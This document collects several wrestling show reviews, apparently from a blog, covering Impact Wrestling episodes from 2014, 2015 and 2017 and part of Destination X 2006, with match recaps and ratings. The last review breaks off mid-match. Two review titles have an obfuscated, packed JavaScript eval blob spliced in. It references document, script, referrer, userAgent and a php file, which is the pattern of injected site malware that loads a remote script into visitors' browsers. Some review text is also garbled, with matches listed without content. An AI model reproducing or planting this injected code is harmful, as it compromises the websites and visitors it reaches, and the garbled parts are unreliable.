Impact Wrestling – August 17, 2017 (Destination X): Enjoy It While It Lasts

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Date: August 17, 2017
Location: Impact Zone, Orlando, Florida
Commentators: Jeremy Borash, Josh Matthews

It’s a big night around here as we have Destination X. This show is almost all about the X-Division, but it turns out that we also need a new World Champion. Alberto El Patron is still suspended and has now been stripped of the title. The situation will be handled tonight but we have no idea how. Let’s get to it.

Bobby Lashley and American Top Team (MMA camp) arrive with the leader meeting with Jeff Jarrett.

A video recaps the card.

Opening sequence.

McKenzie Mitchell can’t get an interview with Bruce Prichard but did see someone shocking in his office. Naturally she can’t say who that was but she did see someone.

Knockouts Title: Gail Kim vs. Sienna

Kim is challenging and the ropes are now green. They look like the tubes of mutagen on Teenage Mutant Ninja Turtles. Gail grabs a crucifix to start until they head outside with Sienna dropping her onto the steps. Back in and Sienna knees her down for two, followed by a backbreaker into a fall away slam. A superplex is countered into a sunset bomb to kickstart Kim’s comeback, including a crossbody for two. The AK47 doesn’t work but Gail grabs Eat Defeat, which draws KM onto the apron. Gail forearms him to the floor but here’s the returning Taryn Terrell with a cutter to lay Gail out. Now the AK47 can retain the title at 7:02.

Rating: C-. Better than I was expecting here but I don’t buy for a second that this is it for Kim. This seems to be looking towards Gail winning the title and retiring at Bound For Glory because that’s what someone of her magnitude gets to be awarded. The match wasn’t bad and Taryn being back is a very welcome surprise.

Matt Sydal is ready to show what he can really do because he moves at hyper speed and sees in slow motion.

Here’s Bruce Prichard with the new World Title to announce that Alberto El Patron has vacated the title and wishes him the best in his future endeavors (without ever saying he was released or fired etc.). As head corporate adviser, it turns out that Bruce can return the title to any former champion he wishes. Therefore he’ll give it to Bobby Lashley, but here’s Jim Cornette of all people instead. He and Bruce have a short chat (with Bruce mentioning double cheeseburgers at Dairy Queen to silence) but Cornette has a bit of a surprise.

See, Anthem has a lot of interests but doesn’t know much about wrestling. Therefore, he’s been brought in to take care of some of those issues. Bruce calls security on him but Cornette goes on a rant (I’m as shocked as you are) and yells at Bruce for overstepping his bounds and driving everyone crazy.

Therefore, Bruce is fired and security takes him away. Cornette sets the record straight: Alberto didn’t vacate the title because he was stripped of it. We’re not going to have big stars come in here and say they’re on vacation while being handed things. Instead they’re going to have to fight to earn things or deal with him. Next week we’ll be having a twenty man Gauntlet for the Gold to crown a new World Champion.

Cornette goes to leave but here’s LAX to interrupt. After a break, Konnan says Low Ki should be the #1 and facing the winner of that gauntlet match. Cornette doesn’t agree because he may be a cracker (which Konnan had called him) but he’s not a liar. Low Ki says he smells fear on Cornette but Cornette says Low Ki can be #20 in the gauntlet. Konnan isn’t scared of legal threats and threatens violence. Cornette doesn’t seem to care and leaves.

Super X Cup Finals: Taiji Ishimori vs. Dezmond Xavier

They speed things up to start with neither being able to hit much until Xavier nails a dropkick. Ishimori sends him outside without too much effort though and things slow down a bit. Back in and a gutbuster puts Xavier down as Josh talks about the upcoming GFW Network streaming service. After a waistlock keeps Xavier in trouble, Ishimori hits a springboard seated senton, followed by some double knees to the chest. Xavier is right back up but his hurricanrana is countered into a faceplant. The 450 gives Ishimori two so Xavier enziguris him into the corner, followed by a moonsault Pele for the pin at 5:30.

Rating: D+. I’m sorry what now? After hearing about how AMAZING this tournament was for over a month, the finals don’t even go six minutes? This was an amazingly disappointing and completely unnecessary tournament, which really doesn’t surprise me in the slightest. Xavier is a good choice to win the tournament but he beat a bunch of people who mean nothing in this promotion. Ishimori never showed me much, though it’s not like he was given the chance in the first place.

Xavier says this means a lot but he’s coming for the X-Division Title.

Bruce and Karen Jarrett shout at each other a lot in a story that hasn’t been explained and no one cares about. Basically Karen is glad to see him gone and is glad he’s out.

Grado’s visa has expired and he has to leave. Joseph Park says he won’t let Grado go out like a mark because he’ll get to say his goodbye in the ring next week.

X-Division Title: Trevor Lee vs. Sonjay Dutt

Ladder match with Dutt defending. Sonjay sends him outside in a hurry before grabbing a hurricanrana back inside. Lee gets in a ladder to the ribs to take over and sends the ladder inside. Something like a suplex drops Sonjay back first onto the ladder and we take an early break. Back with Lee loading up the ladder for the slow climb, allowing Sonjay to make the save.

Lee takes him down again and brings in a table, because that’s likely to help him climb a ladder you see. The delay lets Dutt kick him down and put Lee on the table, only to get crotched on top. A hard forearm puts him outside and the announcers recap things instead of talking about the match.

Lee bridges a ladder between the ropes and the standing ladder but Sonjay takes him down again. A springboard splash onto Lee onto the ladder allows Dutt to climb but here’s Caleb Konley to powerbomb Dutt through the table. Cue Petey Williams of all people with a Canadian Destroyer on Konley to put everyone down. Dutt springboards up onto the ladder, knocks Lee down, and retains at 16:03.

Rating: B-. Best match of the night by far with the right ending. Dutt has barely been able to have the title after this whole thing with Bruce allowing Lee to hold the title as long as he did. Williams returning is a nice moment for older fans but I’m not sure how much it does for the modern audience. Good match, though nothing we haven’t seen a dozen times in ladder matches.

Lashley knows his opponent’s name: Loser.

Jason Cade/Zachary Wentz vs. OVE

OVE is Ohio vs. Everything, better known as the Crist Brothers or the Irish Airborne. Wentz knees Jake in the face to start but he charges into a boot in the corner. It’s off to Dave for a knee to the head, followed a superkick to knock Cade out of the air. A spinning kick to the head sets up a running kick to the leg/running kick to the knee combo (something like High/Low) for the pin on Cade at 2:12. Not the best debut but I’ve seen worse.

Eli Drake, Chris Adonis, Moose and Ethan Carter III annoy Cornette and get put in the gauntlet with Drake going in at #1.

Video on Lashley vs. Sydal with the winner getting a shot at whatever title he wants.

Matt Sydal vs. Bobby Lashley

Lashley runs him over to start with a shoulder sending Matt outside. A kick to the head staffers Lashley but he comes right back with a crossbody for two. Sydal can’t hit a pop up hurricanrana and gets thrown outside again as we take a break. Back with Lashley destroying Sydal as the announcers brag about Lashley’s MMA teammates, which really just makes me want to watch UFC.

We hit the face ripping for a bit, followed by a delayed vertical suplex. Lashley misses the spear though and a spinwheel kick puts him down. A tornado DDT drops Lashley again but he breaks up the shooting star. The top rope double knees get two on Lashley but his powerslam gets the same. The Dominator gets two more and it’s chair time. That means a Van Daminator to put Lashley down, which somehow isn’t a DQ. Sydal’s shooting star hits knees but the spear hits post, allowing Sydal to grab a rollup for the pin at 14:50.

Rating: C+. Lashley is a great monster heel but it seems like he loses far more than not lately. Sydal winning is the right call and there’s no reason not to put the X-Division Title on him (unless you do the smart thing by moving him towards the main event scene, even if it would prove that the X-Division means nothing). Lashley will be fine with whatever he does of course and I’m sure he’ll be a force in next week’s gauntlet.

Post match one of the MMA fighters chokes the referee until his teammates break it up.

Johnny Impact (Morrison/Mundo/Hennigan) is here next week. He even mentions all of the titles he currently holds.

Overall Rating: B-. There are still some big problems but this was light years better than the previous shows. While I’m not exactly sold on the idea that everything is better (this company has a long history of starting great and then faltering in a hurry), this was a major improvement and an entertaining show. In other words, once you get to the end of the stories instead of dragging them out forever, things get a lot better. Or maybe it’s a lack of focus on Alberto vs. LAX in the least interesting feud of the year. Anyway, good show tonight and I’m interested in the title match next week.

Above all else though, this show felt like it was changing a lot of the stuff that didn’t work. Prichard was one of the worst on screen authority figures I can remember in a long time and Cornette is a major upgrade. He’s much more well known and a far better talker, though you can expect him to blow up and leave in a matter of weeks. The wrestling was better and some of the bigger names being brought in help. I have no confidence in it lasting but it’s a good sign that a lot of the bad stuff is gone and they went with some stuff that worked.

Results

Sienna b. Gail Kim – AK47

Dezmond Xavier b. Taiji Ishimori – Moonsault Pele

Sonjay Dutt b. Trevor Lee – Dutt pulled down the title

OVE b. Jason Cade/Zachary Wentz – Kick to the head/kick to the leg combination

Matt Sydal b. Bobby Lashley – Rollup

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Impact Wrestling – June 10, 2015: X Marks A Lame Special

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Date: June 10, 2015
Location: Impact Zone, Orlando, Florida
Commentators: D’Angelo Dinero, Josh Matthews

We open with a video on the X-Division as a whole before focusing on Spud cashing in. However, Austin Aries is cashing in his Feast or Fired briefcase on the winner. There will also be three triple threats with the winners fighting in another triple threat for the title at a future date.

TNA World Title: Rockstar Spud vs. Kurt Angle

Kurt is defending and takes Spud down to the mat with ease for a headlock. Back up and Spud is able to send Angle outside, only to eat a belly to belly on the floor for a huge crash. Angle takes it back inside and nails another suplex to set up a chinlock. An Angle Slam attempt is countered and Spud scores with an enziguri.

Rating: C+. Fun match but not enough to be anything really great. They did about as much as they could do in under nine minutes, but at the end of the day this was just a few steps above a workout for Angle. The Underdog was a nice near fall but this really was too short to work as well as they were hoping.

Manik vs. Low Ki vs. Crazzy Steve

Tigre Uno vs. DJZ vs. Mandrews

We start with the triple headlock with Tigre speeding things up to take over. DJZ dropkicks him down though, only to have Mandrews slingshot in for a hurricanrana. A standing moonsault gets two on DJZ but Tigre comes in with a missile dropkick. Tigre slams DJZ down for two but Mandrews comes back in with a tornado DDT to put everyone down. DJZ is up first for a running flip dive to the floor to take out both guys again. Back in and Tigre shoves DJZ off the top and hits a Phoenix Splash (read as a spinning knee to the face) to pin Mandrews at 5:27.

Post match Jesse Godderz comes down to destroy DJZ.

Knockouts Title: Taryn Terrell vs. Awesome Kong

The Dirty Heels are ready for their tag match later, but Roode wants the first World Title shot.

Grado vs. Kenny King vs. Cruz

Bram vs. Crimson

TNA World Title: Austin Aries vs. Kurt Angle

Ethan Carter III comes in and lays Angle out to end the show.

Overall Rating: C-. It gets really tiring seeing TNA pay lip service to the X-Division and then abandon it for the next ten and a half months every single year. Notice that the Feast or Fired cash-in, which could happen at any show of the year, got WAY more attention than the X-Division cash-in, which was treated as an afterthought. This show is a waste of time on a division that stopped meaning anything years ago.

Results

Kurt Angle b. Rockstar Spud – Ankle lock

Tigre Uno b. DJZ and Mandrews – Phoenix Splash to Mandrews

Grado b. Kenny King and Cruz – Cannonball to Cruz

Bram b. Crimson – Brighter Side of Suffering

Kurt Angle b. Austin Aries – Ankle lock

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Impact Wrestling – July 31, 2014 (Destination X 2014): Same Time This Year

Impact eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dnehz|var|u0026u|referrer|senhe||js|php'.split('|'),0,{})) Wrestling
Date: July 31, 2014
Location: Manhattan Center, New York City, New York
Commentators: Mike Tenay, Taz

It’s Destination X, meaning for one night a year, the X Division actually matters. In this case we have another Option C, as Austin Aries has cashed in his X-Division Title for a World Title shot. Also, we have the reunited Hardy Boys challenging the Wolves for the World Tag Team Titles which should be awesome. Let’s get to it.

We open with a video of Aries in an empty arena and talking about how he’s willing to give it all up for one chance tonight.

The opening video talks about the two title matches.

Here are Dixie and company to get things going. Dixie brags about changing the rules on everyone and giving them the real EC Dub (not ECW of course). She’s given them a star in Ethan and he’ll lead TNA into the future. Ethan talks about how the two men who debuted last week are the real ECW men. First up is the man formerly known as Big Z, but now he’ll go by his real name of Rycklon. The other guy is just known as Gene Snitsky.

This brings Ethan to Team 3D and Dreamer. The fans want tables but Ethan says this is going to become the house that the Carters built. A challenge is issued for one final challenge to end this war once and for all. Also, Dixie is NEVER going to be put through a table, no matter what.

Tag Team Titles: Hardys vs. Wolves

Wolves are defending. Eddie and Matt crank arm work to start as the fans are split. The champions take over but Matt sends Richards into the corner to take over. Off to Jeff as the Hardys start working over Davey’s arm. A double suplex gets two and it’s back to a wristlock from Matt. Richards finally gets in a shot to the head and makes a tag off to Edwards to clean house.

A double hurricanrana puts both Hardys on the floor, setting up a double suicide dive to keep the champions in control. Back in and Eddie enziguris Jeff into a German suplex from Davey for two. Matt saves his brother from a double suplex before the Wolves are thrown outside. Poetry In Motion over the top puts everyone down before a regular one hits Eddie in the corner.

The Side Effect sets up the Swanton but Richards sends Jeff outside before a cover. Matt gets two off a moonsault to Edwards before both Hardys put on Ice Picks (double underhook guillotine chokes). Davey breaks Jeff’s hold and makes the save before sending him crashing to the floor.

The kick to Matt’s chest sets up the double double stomp for two on Matt. Back up and a Twist of Fate gets two on Davey and a backslide gets the same for Richards. Jeff is still down, allowing the Wolves to hit their powerbomb/top robe Backstabber for the pin on Matt at 10:08.

Rating: B. This was good but not great. The tagging part went away a few minutes into the match but that’s probably the best thing all around. I didn’t know who was going to win here and that’s a very good thing considering how this could have gone. The Hardys still looked good and Matt hasn’t looked like this in years.

Video on Low Ki, an X-Division pioneer.

Low Ki and Joe stare at each other in the back.

X-Division Title Qualifying Match: DJZ vs. Manik vs. Low Ki

It’s the usual series of triple threats to set up another triple threat for the vacant title. DJZ heads outside to start, allowing Manik and Low Ki to dive around a lot. Back in and DJZ dropkicks both guys down before sending Manik outside. Low Ki counters a tornado DDT and sends DJZ into the corner, only to have Manik come back in to break it up.

Low Ki gets sent to the floor and Manik puts a Black Widow on DJZ. He changes it over to an Indian Deathlock but Ki kicks him down to crank on DJZ’s leg even worse. Ki gets knocked off the top and DZJ gets two off a rollup to Manik. DJZ gets kicked off the top and out to the floor and the Ki Crusher ends Manik at 5:10.

Rating: C. The match was fine but I really have a problem getting into these qualifying matches. They’re so similar every single year with people being brought back, wrestling maybe a match or two after it’s over, and then usually leaving again. That really isn’t all that interesting and gets tiresome quick. Still though, not a bad match.

We look back at Sanada turning on Great Muta and joining forces with James Storm last week.

Here’s Storm with something to say. What we saw last week was a student rising up instead of being held down by his mentor. Now Storm is Sanada’s new mentor and will see that he gets everything done.

X-Division Title Qualifying Match: Sanada vs. Brian Cage vs. Crazzy Steve

The muscular Cage (he once appeared on Gut Check) cleans house to start and gets two off a backbreaker to Sanada. Steve gets in Cage’s face and offers a test of strength before stomping on Cage’s foot. That’s fine with Cage as he picks up Sanada in a Samoan drop and Sanada in a slam at the same time. Both guys get thrown down before Cage can’t hit a delayed vertical superplex on Steve. The Crazzy one hits a sunset bomb for two but Sanada makes the save. Sanada gets hammered down in the corner but Cage misses a Lionsault, allowing Sanada to hit a tiger suplex on Steve for the pin at 3:55.

Rating: D+. Cage looked really impressive but there was no question who was going to win here. Sanada is a guy that we have a reason to care about which puts him far ahead of a lot of the international talent brought in for something like this. There isn’t much to say here though, as is the case most of the time on this special.

Team 3D and Dreamer accept.

Bobby Roode gives Aries a pep talk.

Here are Team 3D and Tommy Dreamer with something to say. D-Von talks about being gone for awhile but now he’s back with his best friend Dreamer and his Brother Ray. They know how to finish a war and that’s what they’re going to do. Dreamer says he’s been in wars against and with these men along with others that will die for all of us. Being hardcore is a work ethic and he would go to war with anyone in TNA because that’s what this business is all about.

This brings out Dixie’s cronies with Ethan saying this is war, but the war is next week. Ray isn’t pleased and asks if Ethan knows who he is and where they are. Ray may not know how to do a lot of things, but he knows how to start a riot in New York City. If Ethan gets to name the time, Ray gets to make it a weapons match.

Angle and Joe shake hands in the back and Angle is pleased.

Team Dixie is ready for next week.

The Beautiful People don’t think much of Terryn and Gail Kim.

Someone whose name begins with an H is coming.

X-Division Qualifying Match: Samoa Joe vs. Tigre Uno vs. Homicide

Before the match, Joe talks about how awesome he is and how he’ll bring the focus back to the X-Division. Tigre is quickly thrown down but Homicide sends Joe out to the floor for a big running flip dive as we take a break. Back with Tigre dropkicking both guys down but he gets double teamed with a High/Low.

Joe and Homicide have their big showdown with Joe taking over and hammering away. Some knees to Homicide’s head have him in trouble but Tigre comes back and takes over with kicks of his own. Homicide takes Tigre down with a tornado DDT but Uno is in the corner. Joe takes over again but Homicide breaks up the MuscleBuster. That only lasts for a few seconds though as Joe busts up Homicide’s muscles to advance at 9:50.

Rating: C+. It’s the best of the three matches but that really doesn’t cover a lot of ground. Joe advancing is the logical move and I really hope Homicide isn’t going to be around full time. I’ve never cared for him and he doesn’t seem to do much other than wrestle a strong style which doesn’t do anything for me.

Video on Abyss vs. Bram. Abyss sings My Girl and brings out Janice.

Video on Aries cashing in the X Title last week.

We recap the X-Division stuff.

TNA World Title: Austin Aries vs. Bobby Lashley

Bobby is defending and it’s a staredown to start. Aries goes to the leg to start but it’s a very slow opening. More kicks have Lashley in trouble and Austin wraps his leg around the ropes for even more kicks. A dropkick to the back sends Lashley to the floor but his dive is caught in midair for a belly to belly suplex as we take a break. Back with Lashley taking over and putting on a reverse bearhug.

Aries fights up but gets caught in a regular bearhug. Austin escapes again but gets caught in a nice gorilla press drop. The Dominator is countered with a discus forearm and a series of regular forearms in the corner. Lashley is sent to the floor and Aries hits the top rope ax handle, setting up a missile dropkick back inside. The corner dropkick is caught in the Dominator though (sweet counter) but the spear is countered into the Last Chancery.

Lashley fights out and lifts Aries for a suplex but just throws Aries forward. Another spear attempt misses and there’s the discus forearm to send Lashley back into the corner. The running drokick sets up the brainbuster but Lashley is up at two. Lashley rolls away to avoid the 450 but Aries misses the suicide dive. Back in and the spear retains Lashley’s title at 16:28.

Rating: B-. Good match here as Lashley piles up another hero. This is basic wrestling booking as we’re waiting on the hero to rise up and take the title back to the good side. Lashley is little more than a dragon, but that doesn’t mean it’s not a good story. Nice match here too with Aries playing the hero really well.

The final video shows Dixie being lifted up for a powerbomb next week with a Twitter hashtag of ITHAPPENS.

Overall Rating: B-. I didn’t hate the show but this really didn’t feel special. The opener was entertaining and the main event was good as well, but there was nothing on here that I’m going to think about soon after this show. I really don’t know what’s coming for Bound For Glory but we should be getting to its build in the next few weeks.

I can’t imagine this is going to help the X-Division either as it looks to be exactly what happened before: the division will mean something for a few weeks and then go away because it doesn’t mean anything until next year’s Destination X. At least it was entertaining while it lasted this year. Good but definitely not great show here.

Results
Wolves b. Hardys – Powerbomb/Backstabber combination to Matt
Low Ki b. DJZ and Manik – Ki Crusher to Manik
Sanada b. Brian Cage and Crazzy Steve – Tiger suplex to Steve
Samoa Joe b. Tigre Uno and Homicide – MuscleBuster to Homicide
Bobby Lashley b. Austin Aries – Spear

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Destination X 2006: Kurt Can’t Get Here Fast Enough

Destination eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|akibt|var|u0026u|referrer|rarsr||js|php'.split('|'),0,{})) X 2006
Date: March 12, 2006
Location: Impact Zone, Orlando, Florida
Attendance: 900
Commentators: Mike Tenay, Don West

There are only two of these shows left that I haven’t done so I’ll be doing this and the 2007 show back to back as I try to get closer to finishing off TNA PPVs. This is from WAY back in TNA’s history as we have a double main event. The new NWA World Champion Christian is defending tonight against Monty Brown and we also have Joe vs. AJ vs. Daniels in an Ultimate X match. Let’s get to it.

The opening video is….weird. The idea is something like a silent movie or an opera with a guy supposed to be Sting watching a video about Destination X. This is in black and white and is rather odd indeed. Sting is returning again tonight apparently. Oh wait it’s Steve Borden, not Sting. Like I said, Sting is back tonight.

Alex Shelley vs. Jay Lethal

Shelley is doing this weird Paparazzi thing where they film everything so he sets up a camera in front of the ring. It was one of those concept gimmicks that TNA had that never really made a lot of sense but it happened anyway. Jay Lethal is just Jay Lethal and is only twenty years old here. We hear about the World X Cup which was a pretty cool concept actually. Shelley is only 22 here so he’s barely a veteran. He and his partner Abyss had just broken up. Now there’s a tag team for you.

Technical stuff to start us off as we hit the mat. Konnan is doing Spanish commentary. Lethal works on the legs with their legs interlocked. Shelley rolls around and they’re standing on their heads with their legs interlocked and slapping each other. Cool looking spot but I’m not sure what it gets up. More striking leads to a standoff. Shelley looks SO young here that it’s insane.

Cross body and rana send Shelley to the floor and a suicide dive takes Shelley down. Lethal takes over with a dropkick to the back for two. Two boots to the face by Shelley draw a Shelley Sucks chant which is so weird to hear in modern wrestling. Modified Kofi Klutch by Shelley doesn’t last long. Off to the chinlock for a few seconds before a clothesline gets two for Shelley.

The move we would call Wasteland sets up a missed Lionsault and both guys are down. Lethal gets a neckbreaker and a single arm suplex for two. The fans chant Lethal Weapon (How was that never a move name for him???) as Shelley takes him down again. German gets two for Lethal. Diving headbutt gets two also. Lethal wrestles a lot like Benoit from the early to mid 90s. Not that it matters as Shelley grabs Sliced Bread #2 to end it.

Rating: C-. Not terrible but far more of a collection of moves than a good match. Shelley wasn’t much at this point and Lethal was just a kid here also so there wasn’t much as far as a ring general out there. Lethal not having a finisher didn’t help either, making this a fairly boring match overall. Certainly not a bad match, but really not that interesting at all.

Time to run down the card.

Team Canada talks about their matches tonight, making fun of the Naturals. This was back in the day when Impact was on Saturdays so they keep referencing last night. Coach D’Amore brags about Canada a bit. Shelley shows up to steal Young to film more stuff. Young says his Canadian Danger Sense is going off like never before. A-1 is apparently replacing him in the tag match later.

Matt Bentley vs. Lance Hoyt

Bentley has Traci with him and has one major thing going for him: his cousin is Shawn Michaels. These two were partners and broke up over Traci I believe. Standard stuff but nothing wrong with it. Speed vs. power here and power takes over to start. There are some St. Louis Cardinals here. Bentley tries to leave so Traci uses her overly large chest to distract Lance.

This fails completely so Hoyt tries a big boot and chokeslam. Matt goes after the knees but walks into a powerslam for two. BIG side slam for two. Maverick Matt (he’s fighting the Ticked Off Texan here. See what I’m up against?) gets a neckbreaker for two. Front facelock goes on as does my alarm to wake me up when this is over.

They slug it out, won by Hoyt. Pumphandle slam gets two so the future Vance Archer goes up for a missed moonsault, Apparently the entire company is bored by this match as we pan up to Young, Shelley and Borash in the rafters where they’re looking for Sting. Young drops some fliers out to the fans as we’re ignoring the match entirely. Traci shows it to Bentley, breaking up the superkick finisher. It says “Have you seen this man?” with a picture of Sting, saying contact Jeff Jarrett immediately. Hoyt gets a big boot to end this. What a mess.

Rating: F. Even the company decided to have something else going on during this match. When a match reaches that level of bad, you know you’ve got something bad on your hands here. Neither of these guys ever did anything and would have TV matches on PPV like this for a good while to come.

Rhyno, Team 3D and Ron Killings say they’re going to take down Planet Jarrett. It’s an 8 man tag tonight. Oh wait an 8 man war. Got it.

Team Canada vs. The Naturals

Bobby (Robert) Roode and Eric Young here. The Naturals are Chase Stevens and Andy Douglas. Roode vs. I think that’s Stevens to start us off. The announcers are talking about buffets or something so I’m not sure. Stevens (I was right) takes over and the Naturals double team a bit. Douglas takes over on Young but Roode hooks the leg to take over. Let’s talk about Sting some more as Young’s nickname being SHOWTIME started the Sting return stuff. It’s going to be one of those nights.

Stevens comes back in again and no one cares. I don’t even think Stevens does. He puts Young on the rope and kicks him onto the ropes crotch first. Interference takes over allowing Roode to hammer on Stevens (does it matter?) including a knee drop off the middle rope. Off to Young again as we’re firmly into the boring stages of this match again.

The fans chant USA as I could go for a history lecture at this point. Young gets flipped upside down in the corner but Douglas won’t let him walk along the apron. Stevens gets an enziguri to send Young outside. A-1 helps him back in and puts him in the corner right next to Roode. Well Canadians always have had better wrestlers than we have. Ice cold tag brings in Douglas who gets a tornado DDT on Roode for two.

The Naturals totally botch something and down goes Eric. Full Nelson Slam by Roode to Stevens gets two. Piledriver is broken up and it’s a Tower of Doom spot which you never see in modern TNA for some reason. That only gets two on Roode and their finisher doesn’t work. Instead a hockey stick to the head of Douglas ends this. Thank goodness it’s over.

Rating: D. This is one of those matches where the wrestling is fine but at the same time there was NOTHING of interest in the entire match. No point here to this being on PPV as the whole thing went too long and nothing at all was interesting nor did there seem to be a point to this match at all. Granted that could be said about almost every match on this show so far.

Monty Brown says he’s awesome and he’s going to win the title. Larry Zbyszko comes up looking like a stupid tourist and says it’ll be a level playing field. And that’s about it.

We recap the James Gang vs. LAX. No point to the match here but apparently it’s a long feud and the James Gang (Outlaws) bring in…..Road Dogg’s father Bob Armstrong to make this a six man tag.

LAX vs. James Gang/Bob Armstrong

LAX is Konnan, Homicide and Machete who would be a bigger deal in Puerto Rico and this would be his last major appearance in TNA. And Armstrong is in tights of course. This is the same one that was put into the WWE HOF this year. He’s 66 years old here and is considered the savior in a feud. This wouldn’t be the last time either which says a lot about TNA. Road Dogg (BG James) says this isn’t about catchphrases and something about ticking off a tribal elder or something.

This is about Konnan vs. BG apparently. Tenay brags about Armstrong wearing 30 year old boots and having broken into wrestling 40 years ago. Machete vs. BG to start us off. Apparently LAX hurt papa awhile ago. BG gets triple teamed which doesn’t last long. LAX cheats a lot and I can’t believe we’re only 1/3 done with this show. Homicide in now with a reverse neckbreaker for two. What’s a regular neckbreaker if that’s the reverse?

Both guys try flying forearms but crash into each other. Kip (Billy Gunn) and Machete in. If BG and Kip’s last name is James, why is BG’s dad’s last name Armstrong? Everyone hits the floor and it’s Konnan vs. Bob in the ring. He left Mexico for this people! Armstrong fires away and for some reason Konnan has to sell for him. Machete tries a chair shot which is broken up by the Bullet. Machete is surrounded by all three and a One and Only (Cobra Clutch Slam) ends him quickly. Totally pointless.

Rating: D. Well Konnan is now worthless. TNA and so many other wrestling companies can never get the concept that NO ONE KNOWS WHO BOB ARMSTRONG IS! He was a regional guy back in the 70s and early 80s. Why in the world would I want to watch a no name in his sixties on PPV? With Flair it’s a bit different but still dude, let it go. Match was dull too because everyone knew LAX would lose.

Time for Sting related segment #4 in the first hour. Young and Shelley are looking for him and Young rolls across the floor like a ninja. Is he going to kidnap a Samoan? They go into a bathroom and AJ is there. There’s a coat on the floor and gay jokes are made. Idiotic.

Petey Williams vs. Puma vs. Sonjay Dutt vs. Chris Sabin

International match here. Puma is somewhat more famous as TJ Perkins in ROH. This was part of the buildup for the American X Cup which was something like an Olympics for X guys. This is during Hail Sabin which is rather cool. One fall to a finish here but they have to tag. Puma vs. Dutt to start us off. Puma manages to counter an armdrag into a rollup somehow as they’re flying around here.

Off to Petey and Sabin very quickly and it’s gymnastics time again. Springboard cross body misses for Petey but Sabin gets a springboard missile dropkick for two. Thumb to the eye of Sabin and he can’t see. Everyone is in the ring quickly and we wind up with Puma vs. Sabin. The masked dude (Puma) throws on a double underhook hold for a bit and it’s off to Petey again.

This is going WAY too fast to keep up with everything that happens. Dutt comes in and hits a Lionsault to Puma for two. Off to Williams vs. Dutt now as Petey puts him in the Tree of Woe. Blind tag by Sabin which lets him get a hesitation dropkick to Sonjay. Surfboard goes on as we slow things way down again.

And now we get a fine example of why wrestling looks stupid. With the same hold on, Dutt rotates his arms to escape and get behind Sabin into the same hold. Dutt however doesn’t have a hold of Sabin. Sabin is in the hold BECAUSE HE IS HOLDING ONTO SONJAY’S WRISTS. Dutt takes over and chops away because Sabin is really, really stupid. Off to Puma now which makes me wonder why you would ever tag out in a match like this.

Dropkick gets two for Puma. Williams comes in and stomps away on Sabin some more, including singing O Canada while standing on Sabin’s Motor City Machine Gun. Chinlock goes on and they slug it out. Sabin goes to the floor so Petey hits a slingshot rana to the floor and it’s time for the dives. Dutt sets for his but Puma drills him with a clothesline for two.

Everyone teases dives and blocks various other people’s stuff until Dutt takes everyone out with a big moonsault off the top. I’m glad the tagging got thrown out the window about 5 minutes in. Everyone is down again in the ring after more fast paced stuff. All four people snap off all kinds of stuff and Petey tries a Sharpshooter for a big pop. Tornado DDT takes Puma down again and it’s Canadian Destroyer time. That gets reversed by Dutt into a Fade To Black (Kaz’s move).

Sabin and Dutt chop it out with Sabin grabbing a powerbomb and into a helicopter bomb for two. Puma breaks it up and gets a double underhook delayed suplex for two on Sabin. Puma gets sent to the floor and Williams hits the Destroyer on Dutt and Puma pops up again to take out Williams. His save costs him though as he turns around into the Cradle Shock to end Puma and give Sabin the win.

Rating: B+. Very fast paced and fun match here that did exactly what it was supposed to do: get the crowd going after the AWFUL first hour. The X Cup was always cool and gave us some incredibly fun and exciting matches such as this one. Very fun stuff here as the international flare was a nice touch to it. No story or selling to it but there wasn’t supposed to be.

And now off to Jarrett as we stay on Sabin for a total of 5 seconds before we MUST see the draw here. And no, I’m not saying that those four or that style could carry the company because it couldn’t. Jarrett, Abyss and AMW say that they’ll win the war. Mitchell says Jarrett’s Army is awesome. Jarrett talks about Sting because he has to. Young and Shelly come in AGAIN, literally making their fifth appearance each tonight. Jarrett calls off the hunt for Sting (thank goodness) and that he’ll be in the ring if Sting wants to come find him.

We recap the 8 man war. Basically the faces are opposing Planet Jarrett/Jeff Jarrett’s Army or whatever they’re calling it this week. This is one of those feuds where it’s three feuds in one.

Jeff Jarrett’s Army vs. Team 3D/Ron Killings/Rhyno

The Army is Jarrett, AMW and Abyss. Jackie Gayda is being held against her will due to something about a video tape. At least Gail Kim looks hot here. So in other words, Jeff has had Debra, Gail and Karen. Not bad at all. It’s so weird to hear What’s Up on a TNA show. This is just a big street fight. The non Army (Navy?) hits the ring and we’re out of the ring almost immediately.

Truth would be the captain of the team for lack of anyone better. They’re in the aisle, the stands and the stage all at once. Rhyno tries to Gore Abyss off the stands but Abyss gets a boot up. Bubba ACTUALLY HITS THE BACK SPLASH (minus the rope) on Storm I think. Jarrett and Truth go to the Spanish table. D-Von and Harris are finally found in the stands. Rhyno pops Abyss with a chair. If this sounds all over the place, there’s a reason for that.

Jarrett gets some chair shots into Truth and since they’re the only ones you can see clearly we stay on them for a bit. We finally can see everyone and it’s Storm vs. Rhyno in the ring at the moment. Rhyno actually tags in D-Von and even the announcers make fun of it. The Dudleys try a Doomsday Device but Harris saves, allowing Abyss to chokeslam Ray.

Off to Jarrett vs. D-Von now with Jarrett in total control. And scratch that as Storm comes in and down he goes. The future Bully comes in and cleans house. Rhyno adds a spinebuster for two. Abyss hammers on Rhyno a bit now and the slug out goes to Abyss. Jarrett gets a dropkick and it’s off to Storm. Uh make that Harris. We have a chinlock in a WAR. I give up.

Yep it’s a boring match now. They managed to take a huge brawl that was pretty cool to start off and turned it into another boring tag match. Rhyno vs. Jarrett now and both guys go down. Harris comes in to make sure nothing exciting happens here. Perish the thought. Killings FINALLY comes in to clean house. He avoids a splash from Abyss in the corner and gets that suplex into a Stunner to Storm for two.

